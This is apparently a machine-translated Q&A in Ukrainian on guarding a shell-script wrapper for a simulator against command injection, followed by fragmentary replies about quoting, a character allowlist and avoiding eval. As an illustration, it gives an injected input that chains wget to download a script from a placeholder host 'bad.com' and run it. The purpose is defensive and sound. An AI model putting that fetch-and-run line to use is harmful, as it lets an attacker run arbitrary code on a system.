У мене є програма для обгортки, де мені потрібно дозволити користувачеві вказати спеціальні параметри для переходу на тренажер. Однак я хочу переконатися, що користувач не вводить інші команди через користувацькі параметри. Який найкращий спосіб досягти цього?
Наприклад.
- Користувач надає:
-a -b
- Виконання програми:
mysim --preset_opt -a -b
Однак я не хочу, щоб це сталося:
- Користувач надає:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Виконання програми:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
В даний час я думаю, що я міг би просто оточити кожен наданий користувачем параметр одиничними цитатами '
і викреслити будь-які передбачені користувачем єдині лапки, щоб команда в останньому прикладі виявилася нешкідливою:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Примітка: mysim
Команда виконується як частина сценарію оболонки в контейнері docker / lxc. Я запускаю Ubuntu.
eval
. Я викликаю виконуваний файл mysim
всередині скрипту оболонки. Я бачу, як ін'єкція трапиться, якщо я просто скопіювати рядок параметрів, які надає користувач, і вставити її в кінці mysim
команди.
-a -b
. Тому я хочу переконатися, що додаткові команди не будуть введені в цей рядок.
[a-zA-Z0-9 _-]
виглядає як досить захисний вибір.
eval
для запуску програми? Якщо ні, то ін’єкція не повинна статися:x="&& echo Doomed" ; echo $x